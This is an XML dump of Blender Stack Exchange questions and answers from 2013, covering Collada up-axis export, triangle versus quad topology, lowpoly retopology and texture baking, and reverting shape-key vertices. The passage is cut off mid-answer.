  <row Id="2920" PostTypeId="1" CreationDate="2013-09-15T18:35:37.337" Score="12" ViewCount="4507" Body="&lt;p&gt;I'm using Blender as a modeling app and I need to export its data to Collada format for being consumed by a game engine. The thing is that Blender uses Z-axis to be the up-axis and the game engine uses Y as the up-axis.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't found any option to swap the axis on Collada export dialog but I did find the option in almost every other export option. Is there a plugin out-there or other solution to add this option to the Collada export menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I know that rotating through X-axis is achieved the same effect but its annoying to do it every single time I need to export, so I don't want to do that. Instead, propose another solution, if there is any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wpdYo.png&quot; alt=&quot;Example of wanted option&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/M5eFC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1278" LastEditorUserId="12" LastEditDate="2013-09-16T05:54:50.260" LastActivityDate="2013-12-18T21:31:57.300" Title="How to swap Y and Z axis on export to Collada" Tags="&lt;export&gt;&lt;collada&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2921" PostTypeId="2" ParentId="2904" CreationDate="2013-09-15T19:31:08.213" Score="3" Body="&lt;p&gt;I'm not sure this is directly related to Blender, or Blender's &lt;code&gt;.obj&lt;/code&gt; exporter. The &lt;a href=&quot;http://en.wikipedia.org/wiki/Wavefront_.obj_file&quot; rel=&quot;nofollow&quot;&gt;wavefront file description&lt;/a&gt; mentions a set of 11 &lt;a href=&quot;http://en.wikipedia.org/wiki/Wavefront_.obj_file#Basic_materials&quot; rel=&quot;nofollow&quot;&gt;illumination models&lt;/a&gt; (from 0 to 10), none of which seem to specify explicitly any coefficient for reflection, merely that there is reflection:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Multiple illumination models are available, per material. These are&#xA;  enumerated as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0. Color on and Ambient off&#xA;1. Color on and Ambient on&#xA;2. Highlight on&#xA;3. Reflection on and Ray trace on&#xA;4. Transparency: Glass on, Reflection: Ray trace on&#xA;5. Reflection: Fresnel on and Ray trace on&#xA;6. Transparency: Refraction on, Reflection: Fresnel off and Ray trace on&#xA;7. Transparency: Refraction on, Reflection: Fresnel on and Ray trace on&#xA;8. Reflection on and Ray trace off&#xA;9. Transparency: Glass on, Reflection: Ray trace off&#xA;10. Casts shadows onto invisible surfaces&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-09-15T20:52:27.013" LastActivityDate="2013-09-15T20:52:27.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2922" PostTypeId="2" ParentId="2673" CreationDate="2013-09-15T19:57:08.610" Score="0" Body="&lt;p&gt;I tried using Lightworks to do this, and it worked perfectly on my source material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, I'm concluding this issue is due to one or more bugs in Blender, and has nothing to do with file decompression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found there are a few Blender developers on this Stack Exchange site, so if this issue is ever fixed, please let me know as it will simplify my workflow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: What I actually did was redo the video and voiced-over the audio again so I didn't have to reduce the speed of the video. When I rendered the final video, it ended up having artifacts, too. So I think the final word may be that it's still a bug in Blender reading or rendering the video, but I don't think it's necessarily related to the Speed Control Effect.&lt;/p&gt;&#xA;" OwnerUserId="1209" LastEditorUserId="1209" LastEditDate="2013-09-16T00:30:23.697" LastActivityDate="2013-09-16T00:30:23.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2923" PostTypeId="2" ParentId="2918" CreationDate="2013-09-15T22:04:50.740" Score="4" Body="&lt;p&gt;Yes, simply run this in a text editor&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import IPython&#xA;IPython.embed()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it's even in blenders &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/info_tips_and_tricks.html#drop-into-a-python-interpreter-in-your-script&quot; rel=&quot;nofollow&quot;&gt;official documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Note:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This will lock Blenders UI and prevent any redraws or user input while the console runs. You can start IPython in the terminal, execute some commands, then Ctrl+D, to exit the IPython and use Blender again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no convenient way to avoid this.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-09-17T01:11:12.717" LastActivityDate="2013-09-17T01:11:12.717" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="2924" PostTypeId="2" ParentId="2876" CreationDate="2013-09-15T22:40:40.057" Score="1" Body="&lt;p&gt;You can apply modifiers from the command line using a script, but there is no progress for each modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that modifiers that take half an hour is not the kind of work-flow Blender is optimized for. If you are processing very high polygon meshes you may want to consider some tool like &lt;a href=&quot;http://meshlab.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;MeshLab&lt;/a&gt; to get them into a more usable detail level for blender to work with.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="599" LastEditDate="2013-09-16T00:57:20.387" LastActivityDate="2013-09-16T00:57:20.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2925" PostTypeId="2" ParentId="2920" CreationDate="2013-09-15T23:00:13.787" Score="5" Body="&lt;p&gt;&lt;em&gt;No&lt;/em&gt;. Blender's Collada exporter does not have a convenient way to do this. Your best option is to rotate the object as you mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that just rotating the object might be insufficient for some applications, e.g those which actually care about Collada's up-axis specification (which can be either &lt;code&gt;Z_UP&lt;/code&gt; or &lt;code&gt;Y_UP&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're working with one of those, you'll also need to manually edit the exported file.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="599" LastEditDate="2013-11-18T20:48:32.677" LastActivityDate="2013-11-18T20:48:32.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2926" PostTypeId="1" CreationDate="2013-09-15T23:20:38.420" Score="0" ViewCount="4947" Body="&lt;p&gt;Linux box (Corei7 920, 12 Gb RAM, 1TB hdd, Nvidia GTX 460) running Ubuntu 12.04.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm enough of a noob that I've hit a wall of discouragement trying to install CUDA to take advantage of Cycles! &lt;a href=&quot;http://sn0v.wordpress.com/2012/12/07/installing-cuda-5-on-ubuntu-12-04/&quot; rel=&quot;nofollow&quot;&gt;This is the most helpful resource I've found so far&lt;/a&gt;, but it is super intimidating and I'm afraid I'll just be wasting hours and hours of time, and eventually fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone confirm they've accomplished what I'm trying to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone link me to some good tuts/lessons on Linux that will help me accomplish this task?&lt;/p&gt;&#xA;" OwnerUserId="865" LastEditorUserId="599" LastEditDate="2013-09-16T19:56:16.130" LastActivityDate="2013-09-17T05:00:23.880" Title="Installing CUDA for Blender Cycles on Ubuntu 12.04" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2013-09-17T22:45:31.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="2927" PostTypeId="1" AcceptedAnswerId="2928" CreationDate="2013-09-16T05:11:52.843" Score="12" ViewCount="5241" Body="&lt;p&gt;Is there anyway to display the names of objects in a scene, all at once like the option we have for bones? Yes,we can do it individually..but if there are many objects its better to have have common control&#xA;I am working with a mechanical assembly,its very difficult to keep track of objects. &#xA;Any hidden option or  add-on information would be helpful. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1098" LastEditorUserId="599" LastEditDate="2013-09-16T19:45:08.563" LastActivityDate="2016-08-01T12:45:39.563" Title="How to display names of objects in viewport" Tags="&lt;workflow&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2928" PostTypeId="2" ParentId="2927" CreationDate="2013-09-16T05:27:33.727" Score="19" Body="&lt;p&gt;Select all objects by hiting &lt;kbd&gt;A&lt;/kbd&gt;. Then in the&#xA;&lt;i&gt;Properties&lt;/i&gt; areas &lt;i&gt;Object&lt;/i&gt; tabs &lt;i&gt;Display&lt;/i&gt;&#xA;group check the checkbox &lt;i&gt;Name&lt;/i&gt; for name display.&#xA;Then right click the checkbox and select the option&#xA;&lt;i&gt;Copy To Selected&lt;/i&gt;. Works on almost all options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: In current versions, using alt-click on&#xA;properties applies them for every selected object.&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2016-08-01T12:45:39.563" LastActivityDate="2016-08-01T12:45:39.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2930" PostTypeId="2" ParentId="166" CreationDate="2013-09-16T06:08:07.640" Score="5" Body="&lt;p&gt;You could also use &lt;em&gt;Make Duplicates Real&lt;/em&gt; (in blender 2.8: &lt;em&gt;Make Instances Real&lt;/em&gt;) &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt; accessible in &lt;em&gt;Object Menu → Apply&lt;/em&gt; (or &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;)&#xA;This way I created a forest from a single tree with an hair particle system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UvwIr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v3oSz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="52593" LastEditDate="2020-07-31T17:06:12.723" LastActivityDate="2020-07-31T17:06:12.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2931" PostTypeId="1" AcceptedAnswerId="2933" CreationDate="2013-09-16T06:29:13.890" Score="25" ViewCount="38576" Body="&lt;p&gt;I've read many times that triangles should be avoided in meshes, too give one reference: &quot;&lt;em&gt;Introducing Character Animation with Blender by Tony Mullen&lt;/em&gt;&quot; says that equilateral triangles work fine as long you don't deform them. &#xA;It seems to be common in game development that the models are triangulated.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What issues are introduced by using triangles?&lt;/li&gt;&#xA;&lt;li&gt;Does the same apply for n-gons?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-09-16T13:14:39.070" LastActivityDate="2014-09-18T13:50:04.413" Title="Why should triangle meshes be avoided for character animation?" Tags="&lt;topology&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2932" PostTypeId="2" ParentId="2931" CreationDate="2013-09-16T06:45:30.700" Score="6" Body="&lt;p&gt;Triangles work fine in lowpoly models (such as for games).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when you subdivide them, they dont respond well. You will often see stretching and artifacts. Since subdivision is such a common workflow, it has become a general rule of thumb to avoid triangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will at a later time (if nobody beats me to it) show an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be ok to use triangles if the surrounding area is completely flat. Or if the triangle is hidden away in inside of something (like an ear).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pentagons are a little better than triangles (I think, please correct me if I am wrong), but generally avoid them too, if you can.&#xA;More vertices than 5 are really bad.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-09-16T06:45:30.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2933" PostTypeId="2" ParentId="2931" CreationDate="2013-09-16T09:20:15.127" Score="33" Body="&lt;p&gt;Rather than thinking of limitations with using triangles &lt;em&gt;(I think this is an over simplification of the topic)&lt;/em&gt;, you need to understand common workflows that take advantage of quad-dominant meshes.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;adding and removing edge loops (to increase or remove detail)&lt;/li&gt;&#xA;&lt;li&gt;using loops to better define features of the mesh (such as facial features, around eyes etc).&lt;/li&gt;&#xA;&lt;li&gt;operations on faceloops and edge-loops that speed up selection loop selecting, loop sliding for example.&lt;/li&gt;&#xA;&lt;li&gt;operations on grids. ripping &amp;amp; grid-fill for example.&lt;/li&gt;&#xA;&lt;li&gt;better deformation with shape keys (a &lt;em&gt;lot&lt;/em&gt; could be written on this, read up on mesh topology, facial shapes, deformation).&lt;/li&gt;&#xA;&lt;li&gt;better subsurface results (edge loops along important features of the form allow your to use creases too).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However in a specific situation you may find it's not a problem to have a 100% triangle mesh so don't be single minded about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of defining triangle meshes as &lt;em&gt;bad&lt;/em&gt;, try to learn to use these tools and you'll better understand why in &lt;em&gt;most&lt;/em&gt; cases, triangle heavy meshes are not ideal for character animation.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-09-17T07:14:51.420" LastActivityDate="2013-09-17T07:14:51.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2934" PostTypeId="2" ParentId="2877" CreationDate="2013-09-16T09:27:29.753" Score="1" Body="&lt;p&gt;Since the displacement modifier has an option to choose the texture coordinates, this isn't any different from the common problem of UV mapping a sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend some sort of &lt;a href=&quot;http://www.neilblevins.com/cg_education/blended_box_mapping/blended_box_mapping.htm&quot; rel=&quot;nofollow&quot;&gt;blended box mapping&lt;/a&gt; using one modifier for each axis and blending between them with vertex groups.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-09-16T09:27:29.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2935" PostTypeId="2" ParentId="2931" CreationDate="2013-09-16T09:43:21.663" Score="13" Body="&lt;p&gt;N-Gons with more than 4 sides and Tris are bad because they do not subdivide smoothly and so break up the flow of edges through a model.&#xA;Tris are only bad when you need to smooth a mesh ie add subdivisions.&#xA;This diagram shows the effect of using quads and the subdividing as you see you still have quads after subdivision, so you could do it again for example.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3Wbkm.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing wrong with Tris except were you are wanting to smooth and sometimes they can't be avoided, in which case hide them in a unseen part of the mesh, under a arm etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tris are not bad and in fact when the mesh is rendered all polygons are reduced to Tris.&lt;/p&gt;&#xA;" OwnerUserId="1251" LastEditorUserId="1077" LastEditDate="2013-09-16T22:08:53.853" LastActivityDate="2013-09-16T22:08:53.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2936" PostTypeId="1" AcceptedAnswerId="2937" CreationDate="2013-09-16T10:07:25.210" Score="15" ViewCount="7405" Body="&lt;p&gt;I've been exploring game development for a while now. I have created a small prototype but the models that I downloaded from the internet were too heavy for its small computational power. I have discovered how I could avoid the use of shaders by baking textures and shadows in blender. But I'm still not proficient in optimizing downloaded models for the internet. Basically many models on the internet contain too much detail on the surface but if I will just use textures, I don't require so much detail.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Can someone help me in to understand how I should convert downloaded models, remove extra detail and make it optimized for my use. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My goal is to not have so much detail, I want to show models only from a distance and from only one view. What other optimizations can I employ in this case? Reasoning suggests that we are just using one view I should be able to somehow remove other useless details? How should I do that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This problem seems very common for android/iPhone developers, which makes me believe that there should be an automated solution to do this and create some low poly, low detail, baked textured models. Is there??&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I don't have much experience in this field so I'm using my intuition to guess what could be done. Please point me in the right direction so that I can learn the topic better.&lt;/p&gt;&#xA;" OwnerUserId="1291" LastEditorUserId="12" LastEditDate="2013-09-16T13:17:19.707" LastActivityDate="2015-12-29T13:13:46.533" Title="Creating game models for android" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2937" PostTypeId="2" ParentId="2936" CreationDate="2013-09-16T10:33:29.087" Score="14" Body="&lt;p&gt;Often, when you make a model for a computer game, you start out by making a high poly model. Then, from this, you make a lowpoly model that is going to be used inside the game. This is almost always a manual process and it is called retopology. After that you can bake both diffuse texture, ambient occlusion and normals from the highpoly to the lowpoly texture. You will find many many tutorials on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, you already have the highpoly model. So do a lowpoly version and start baking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are numerous ways to create the lowpoly version.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create the lowpoly mesh from scratch, extrude new vertices and snap them to the faces of the highpoly version. Fill with faces.&lt;/li&gt;&#xA;&lt;li&gt;Create a grid of new vertices, and use the shrinkwrap modified to make them fit the highpoly model.&lt;/li&gt;&#xA;&lt;li&gt;CGCookie have a plugin for this, Retopoflow (previous contours-retopology): &lt;a href=&quot;https://cgcookiemarkets.com/all-products/retopoflow/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://cgcookiemarkets.com/all-products/retopoflow/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;BSurfaces allows you to paint with strokes to create the lowpoly model.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;https://blender.stackexchange.com/questions/474/is-it-possible-to-automatically-simplify-geometry-in-blender-without-losing-obje/475#475&quot;&gt;decimate modifier&lt;/a&gt; can automaticly reduce the complexity of a highpoly model. But almost always it must be manually corrected with one of the other methods.&lt;/li&gt;&#xA;&lt;li&gt;more...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A quick youtube search found this (looks ok):&#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=eaqYqkjimD8&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.youtube.com/watch?v=eaqYqkjimD8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender cookie have many tutorials on this subject, but not all are free:&#xA;&lt;a href=&quot;http://cgcookie.com/blender/page/2/?s=retopology&amp;amp;s_type=tutorials&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cgcookie.com/blender/page/2/?s=retopology&amp;amp;s_type=tutorials&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A super fast tutorial on making a highpoly model super lowpoly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1. Make your lowpoly model match the outline of the highpoly. Like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pQHtT.png&quot; alt=&quot;From above, lowpoly is in wireframe mode&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/baK1j.png&quot; alt=&quot;From side&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2. Simple UV-unwrap of the lowpoly (go into edit mode, select all faces and hit U). Mark appropriate edges as seams with Ctrl-E to cut it up. Assign a new image to it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2nAk8.png&quot; alt=&quot;Simple UV unwrap&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3. Bake normals to the lowpoly texture like this. Select highpoly, also select lowpoly (select the lowpoly last). Set settings like in the screenshot and hit bake. Save the image as the normal map.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ldu0R.png&quot; alt=&quot;Bake normals&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 4. Change Bake mode to AO and hit bake again. Save out image.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AZnET.png&quot; alt=&quot;Bake ambient occlusion&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final result when combining these two maps into one material in blender. Of course, this will require a shader with a normal texture, but I am pretty certain that JME has it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/979fZ.png&quot; alt=&quot;Preview&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This mini-tutorial is very short but it should make you search for more help (or ask questions) on more specific topics (like: how to UV-unwrap a model).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your other question. I don't know of any technique to make this more automated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dolphin submarine is of my making.&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-12-29T13:13:46.533" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2938" PostTypeId="2" ParentId="2936" CreationDate="2013-09-16T11:27:54.917" Score="4" Body="&lt;p&gt;If you really have a restricted set of viewing angles for the models you might want to use a &lt;a href=&quot;http://en.wikipedia.org/wiki/Sprite_%28computer_graphics%29&quot; rel=&quot;nofollow&quot;&gt;sprite-sheet&lt;/a&gt; instead of full 3d models. A sprite-sheet consists of pre-rendered views of your models from any viewing angle permitted by the game. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can reduce computation by requiring only that you use a lookup table to cross reference the model orientation with the position of the pixels on the sheet. It's a technique still used by large mobile-oriented game companies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a Blender plugin called &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Render/Spritify&quot; rel=&quot;nofollow&quot;&gt;Spritify&lt;/a&gt; aimed at doing exactly this.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-09-16T11:47:50.813" LastActivityDate="2013-09-16T11:47:50.813" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2939" PostTypeId="2" ParentId="2931" CreationDate="2013-09-16T17:59:37.457" Score="19" Body="&lt;p&gt;&amp;nbsp;&amp;nbsp;When people refer to character animation, they often don't include robots with rigid surfaces where, apart from the modelling process, tris for flat surfaces aren't that bad. They refer to human faces or otherwise flexible surfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;To simplify controlling the mesh for facial expressions or lipsync, faces of characters are modeled more or less low poly to control their features and then a &lt;em&gt;Subsurf Modifier&lt;/em&gt; is used to create a high degree of smoothness. That's the point where tris cause all the mentioned problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at this simple example. The tris to the left give some nasty bumps when subsurfed, the quads to the right are wonderfully smooth. Imagine the difference in a character's face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xPCfs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Ideasman has a point, here's another example of topology. To the right you have a very clean structure and the desired smooth result. The left shape is not so lucky. Achieving the same amount of smoothness would require a high amount of tris if it's possible at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E7YP8.png&quot; alt=&quot;tris, quads and subsurf&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;Regarding modelling: Add a &lt;em&gt;UV Sphere&lt;/em&gt; and put an edge ring somewhere at the equator with the &lt;em&gt;Loop Cut&lt;/em&gt;. That's fast and easy. Then try to put an edge ring around the single vertex at the top. It's harder to add detail if your topology doesn't follow the form.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-17T10:03:47.240" LastActivityDate="2013-09-17T10:03:47.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2940" PostTypeId="2" ParentId="2877" CreationDate="2013-09-16T18:48:06.000" Score="1" Body="&lt;p&gt;&amp;nbsp;&amp;nbsp;It looks as if you mapped the image flat. In order to produce a threedimensional texture, Blender projects the texture along an axis through your mesh. While your modifier displaces along the normal, the values it uses are generated with above mentioned method. That's why you get these stripes at the equator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might need to create a seamless texture to uvmap onto the sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out Blender can actually do blended box mapping with Cycles. Take a look at this link: &lt;a href=&quot;http://mango.blender.org/production/blended_box/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mango.blender.org/production/blended_box/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qep58.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-19T05:44:11.117" LastActivityDate="2013-09-19T05:44:11.117" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2941" PostTypeId="1" AcceptedAnswerId="2962" CreationDate="2013-09-16T18:57:26.117" Score="23" ViewCount="26269" Body="&lt;p&gt;How I can revert the position of a single vertex in a shape key to it's position in the Basis Shape Key?&lt;/p&gt;&#xA;" OwnerUserId="1295" LastEditorUserId="599" LastEditDate="2013-09-16T20:24:09.827" LastActivityDate="2020-10-06T02:05:13.987" Title="Revert vertex position to Basis Shape Key" Tags="&lt;modeling&gt;&lt;vertices&gt;&lt;shape-keys&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="2942" PostTypeId="2" ParentId="2941" CreationDate="2013-09-16T19:21:21.817" Score="4" Body="&lt;h1&gt;To create a new shape key from the basis:&lt;/h1&gt;&#xA;&lt;p&gt;You could set the &lt;em&gt;Value&lt;/em&gt; of all the shape keys to &lt;code&gt;0&lt;/code&gt;, then press the &lt;img src=&quot;https://i.stack.imgur.com/M9V2i.png&quot; alt=&quot;down arrow&quot; /&gt; button &lt;em&gt;&amp;gt; New shape from mix&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Aup1q.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Another option is to &lt;em&gt;Mute&lt;/em&gt; the shape keys by pressing the eye icon:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aS35v.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;To copy the location of a single Vertex:&lt;/h1&gt;&#xA;&lt;h2&gt;Method one:&lt;/h2&gt;&#xA;&lt;p&gt;One way is to manually copy the vertex location from the basis key to the shape key in question:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;With the Basis key active, go into edit mode and select the vertex.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy (hover over the value you want to copy and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;) the coordinates in the &lt;em&gt;Properties panel&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt; in the 3D view) &lt;em&gt;&amp;gt; Transform &amp;gt; Vertex&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the shape key and paste the coordinates into the &lt;em&gt;Properties &amp;gt; Transform &amp;gt; Vertex&lt;/em&gt; coordinates:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wee79.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Note that you will have to do this three times, once for each coordinate.&lt;/p&gt;&#xA;&lt;h2&gt;Method two:&lt;/h2&gt;&#xA;&lt;p&gt;Another way is by using a Vertex group:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the vertex(s) from which you want to preserve the location.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Invert the selection (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/meshes/properties/vertex_groups/assigning_vertex_group.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vertex group&lt;/a&gt;, and assign it to the 